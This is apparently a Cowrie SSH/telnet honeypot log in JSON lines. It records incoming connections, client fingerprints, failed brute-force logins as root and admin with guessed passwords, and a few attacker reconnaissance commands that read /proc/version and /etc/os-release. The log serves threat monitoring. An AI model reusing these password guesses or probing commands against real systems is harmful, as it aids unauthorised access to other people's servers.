{"eventid":"cowrie.command.input","input":"head -1 /proc/version | cut -d -f1","message":"CMD: head -1 /proc/version | cut -d -f1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:08:57.859624Z","src_ip":"91.92.40.176","session":"4a0cbf9e02bc","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"[ -f /etc/os-release ]","message":"CMD: [ -f /etc/os-release ]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:08:57.862621Z","src_ip":"91.92.40.176","session":"4a0cbf9e02bc","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/4b853a127f8928d65192c11455255f0ba516e72e1a3e5d440915cf9acb1e4c0f","size":356,"shasum":"4b853a127f8928d65192c11455255f0ba516e72e1a3e5d440915cf9acb1e4c0f","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/4b853a127f8928d65192c11455255f0ba516e72e1a3e5d440915cf9acb1e4c0f after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:08:58.034053Z","src_ip":"91.92.40.176","session":"4a0cbf9e02bc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:08:58.180451Z","src_ip":"91.92.40.176","session":"4a0cbf9e02bc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00623822212219,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:09:18.593077Z","src_ip":"137.184.5.188","session":"6ce7aa2f97ce","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":57.971946239471436,"message":"Connection lost after 57 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:09:29.278426Z","src_ip":"170.64.224.25","session":"29a8849c731a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"109.237.96.109","src_port":52080,"dst_ip":"10.17.0.5","dst_port":22,"session":"2e1180c9c3a4","protocol":"ssh","message":"New connection: 109.237.96.109:52080 (10.17.0.5:22) [session: 2e1180c9c3a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:09:30.745728Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:09:30.749948Z","src_ip":"109.237.96.109","session":"2e1180c9c3a4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:09:30.838895Z","src_ip":"109.237.96.109","session":"2e1180c9c3a4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"221195","message":"login attempt [root/221195] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:09:31.111888Z","src_ip":"109.237.96.109","session":"2e1180c9c3a4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:09:32.203268Z","src_ip":"109.237.96.109","session":"2e1180c9c3a4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.169.244.109","src_port":48690,"dst_ip":"159.203.135.109","dst_port":22,"session":"7b4ccd4b54ed","protocol":"ssh","message":"New connection: 192.169.244.109:48690 (159.203.135.109:22) [session: 7b4ccd4b54ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:09:53.446326Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:09:53.450156Z","src_ip":"192.169.244.109","session":"7b4ccd4b54ed","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:09:53.514780Z","src_ip":"192.169.244.109","session":"7b4ccd4b54ed","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ethereum456","message":"login attempt [root/ethereum456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:09:53.709700Z","src_ip":"192.169.244.109","session":"7b4ccd4b54ed","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:09:54.777041Z","src_ip":"192.169.244.109","session":"7b4ccd4b54ed","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.215.213.210","src_port":58970,"dst_ip":"10.17.0.5","dst_port":22,"session":"70ff078c0853","protocol":"ssh","message":"New connection: 162.215.213.210:58970 (10.17.0.5:22) [session: 70ff078c0853]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:10:00.689990Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:10:00.694322Z","src_ip":"162.215.213.210","session":"70ff078c0853","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:10:00.776247Z","src_ip":"162.215.213.210","session":"70ff078c0853","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"helium789","message":"login attempt [root/helium789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:10:01.075249Z","src_ip":"162.215.213.210","session":"70ff078c0853","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:10:02.445070Z","src_ip":"162.215.213.210","session":"70ff078c0853","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.176","src_port":54382,"dst_ip":"10.17.0.5","dst_port":22,"session":"b8da1d4a4a6d","protocol":"ssh","message":"New connection: 91.92.40.176:54382 (10.17.0.5:22) [session: b8da1d4a4a6d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:10:56.674041Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:10:56.702871Z","src_ip":"91.92.40.176","session":"b8da1d4a4a6d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:10:56.757412Z","src_ip":"91.92.40.176","session":"b8da1d4a4a6d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"letmein","message":"login attempt [admin/letmein] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:10:57.089350Z","src_ip":"91.92.40.176","session":"b8da1d4a4a6d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:10:58.219096Z","src_ip":"91.92.40.176","session":"b8da1d4a4a6d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.169.180.166","src_port":60382,"dst_ip":"159.203.135.109","dst_port":22,"session":"0fa46819acc4","protocol":"ssh","message":"New connection: 192.169.180.166:60382 (159.203.135.109:22) [session: 0fa46819acc4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:11:37.598970Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:11:37.602497Z","src_ip":"192.169.180.166","session":"0fa46819acc4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:11:37.668006Z","src_ip":"192.169.180.166","session":"0fa46819acc4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"VRM$Tr0ng@P@ss","message":"login attempt [root/VRM$Tr0ng@P@ss] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:11:37.867698Z","src_ip":"192.169.180.166","session":"0fa46819acc4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:11:38.935038Z","src_ip":"192.169.180.166","session":"0fa46819acc4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.176","src_port":52874,"dst_ip":"10.17.0.5","dst_port":22,"session":"07a74813498e","protocol":"ssh","message":"New connection: 91.92.40.176:52874 (10.17.0.5:22) [session: 07a74813498e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:12:55.260045Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:12:55.263582Z","src_ip":"91.92.40.176","session":"07a74813498e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:12:55.344075Z","src_ip":"91.92.40.176","session":"07a74813498e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"qwerty","message":"login attempt [admin/qwerty] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:12:55.835929Z","src_ip":"91.92.40.176","session":"07a74813498e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:12:57.089910Z","src_ip":"91.92.40.176","session":"07a74813498e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.243.11.39","src_port":44166,"dst_ip":"10.17.0.5","dst_port":22,"session":"20ac3ae1777a","protocol":"ssh","message":"New connection: 185.243.11.39:44166 (10.17.0.5:22) [session: 20ac3ae1777a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:13:18.755693Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:13:18.759209Z","src_ip":"185.243.11.39","session":"20ac3ae1777a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:13:18.862940Z","src_ip":"185.243.11.39","session":"20ac3ae1777a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Dym3ns10n$M@st3r@P@ss","message":"login attempt [root/Dym3ns10n$M@st3r@P@ss] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:13:19.156781Z","src_ip":"185.243.11.39","session":"20ac3ae1777a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":33184,"dst_ip":"10.17.0.5","dst_port":22,"session":"d65b6f25a5ff","protocol":"ssh","message":"New connection: 194.59.206.2:33184 (10.17.0.5:22) [session: d65b6f25a5ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:13:20.102854Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:13:20.106857Z","src_ip":"194.59.206.2","session":"d65b6f25a5ff","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:13:20.196820Z","src_ip":"194.59.206.2","session":"d65b6f25a5ff","protocol":"ssh"}
